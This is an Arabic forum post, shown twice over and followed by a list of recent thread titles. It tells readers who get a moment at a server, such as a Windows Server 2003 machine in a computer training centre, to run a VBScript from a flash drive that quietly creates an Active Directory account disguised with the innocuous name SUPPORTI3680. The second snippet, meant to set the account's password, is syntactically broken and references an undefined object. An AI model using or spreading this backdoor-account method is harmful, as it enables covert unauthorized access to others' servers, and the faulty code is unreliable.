بداية السلام عليكم ورحمة الله وبركاته :
ماذا افعل لو اتحيت لي فرصة الجلوس خلف سيرفر ؟؟؟ اتفرج على الشاشة وبس !!!!! طبعا لا
اول شي بدي اعمل لي يوزر بالسر وبدي احط ليه كلمة سر ..... بس كيف بدي اعمل هيك بدون ما افتح اي نافذة ؟؟؟
مثلا افترض انك في مركز الحاسب بعلموك على وندوز سيفر 2003
بسيطة اعمل ملف vbscript او java او حتى dos-consol
حط فيه الكود الى بعمل يوزر وحطه على الفلاش لما تجلس على السيفر انقر على هذا الملف وبسوي لك يوز بدون ما ناس يحس .
بس المصيبة اذا شافو انو اسم اليوز غريب شوي ؟
لذلك حط هالاسم SUPPORTI3680
وحط اي كلمة سر .
وكود الـــ vbscript. كالتالي :::
Option Explicit
Dim strUser
Dim objRootLDAP, objContainer, objNewUser
strUser = "إسم اليوزر"
' Bind to Active Directory, Users container.
Set objRootLDAP = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://cn=Users," & _
objRootLDAP.Get("defaultNamingContext"))
' Build the actual User.
Set objNewUser = objContainer.Create("User", "cn=" & strUser)
objNewUser.Put "sAMAccountName", strUser
objNewUser.SetInfo
WScript.Quit
والحين بدنا نحط كلمة السر .........
ضيف للكو السابق وقبل جملة Wscript.quit
dim strpassword as string
strpasssword="كلمة سرك "
For each objUser in objOU
If objUser.class="user" then
objUser.SetPassword strPassword
objUser.SetInfo
End If
Next
وسلامتكم ودمتم سالمين
ماذا افعل لو اتحيت لي فرصة الجلوس خلف سيرفر ؟؟؟ اتفرج على الشاشة وبس !!!!! طبعا لا
اول شي بدي اعمل لي يوزر بالسر وبدي احط ليه كلمة سر ..... بس كيف بدي اعمل هيك بدون ما افتح اي نافذة ؟؟؟
مثلا افترض انك في مركز الحاسب بعلموك على وندوز سيفر 2003
بسيطة اعمل ملف vbscript او java او حتى dos-consol
حط فيه الكود الى بعمل يوزر وحطه على الفلاش لما تجلس على السيفر انقر على هذا الملف وبسوي لك يوز بدون ما ناس يحس .
بس المصيبة اذا شافو انو اسم اليوز غريب شوي ؟
لذلك حط هالاسم SUPPORTI3680
وحط اي كلمة سر .
وكود الـــ vbscript. كالتالي :::
Option Explicit
Dim strUser
Dim objRootLDAP, objContainer, objNewUser
strUser = "إسم اليوزر"
' Bind to Active Directory, Users container.
Set objRootLDAP = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://cn=Users," & _
objRootLDAP.Get("defaultNamingContext"))
' Build the actual User.
Set objNewUser = objContainer.Create("User", "cn=" & strUser)
objNewUser.Put "sAMAccountName", strUser
objNewUser.SetInfo
WScript.Quit
والحين بدنا نحط كلمة السر .........
ضيف للكو السابق وقبل جملة Wscript.quit
dim strpassword as string
strpasssword="كلمة سرك "
For each objUser in objOU
If objUser.class="user" then
objUser.SetPassword strPassword
objUser.SetInfo
End If
Next
وسلامتكم ودمتم سالمين
14/4/2012, 5:14 am من طرف h.sbaih
» تعلم تصميم قواعد البيانات SQL حصريا
2/4/2012, 3:57 pm من طرف hfoda102
» Assembly Lab
3/3/2012, 10:52 pm من طرف funkyodd@yahoo.com
» كتاب مادة الـ C ++ حصريا لشباب إنجاز
17/2/2012, 1:57 am من طرف anas yacoub
» حصريا .. كتب العلوم المالية والمصرفية
31/1/2012, 1:56 am من طرف Amera Alareqe
» دعاء مكتوب على جدار الجنة
13/11/2011, 3:25 pm من طرف سما الحب
» حكمه مهمه
6/11/2011, 7:49 pm من طرف عموره
» .....................................
16/10/2011, 6:22 am من طرف عموره
» هـــــــــنــالِــك دائِــمـــــــــاً....!!!!
16/10/2011, 6:20 am من طرف عموره
» تَباً
16/10/2011, 6:15 am من طرف عموره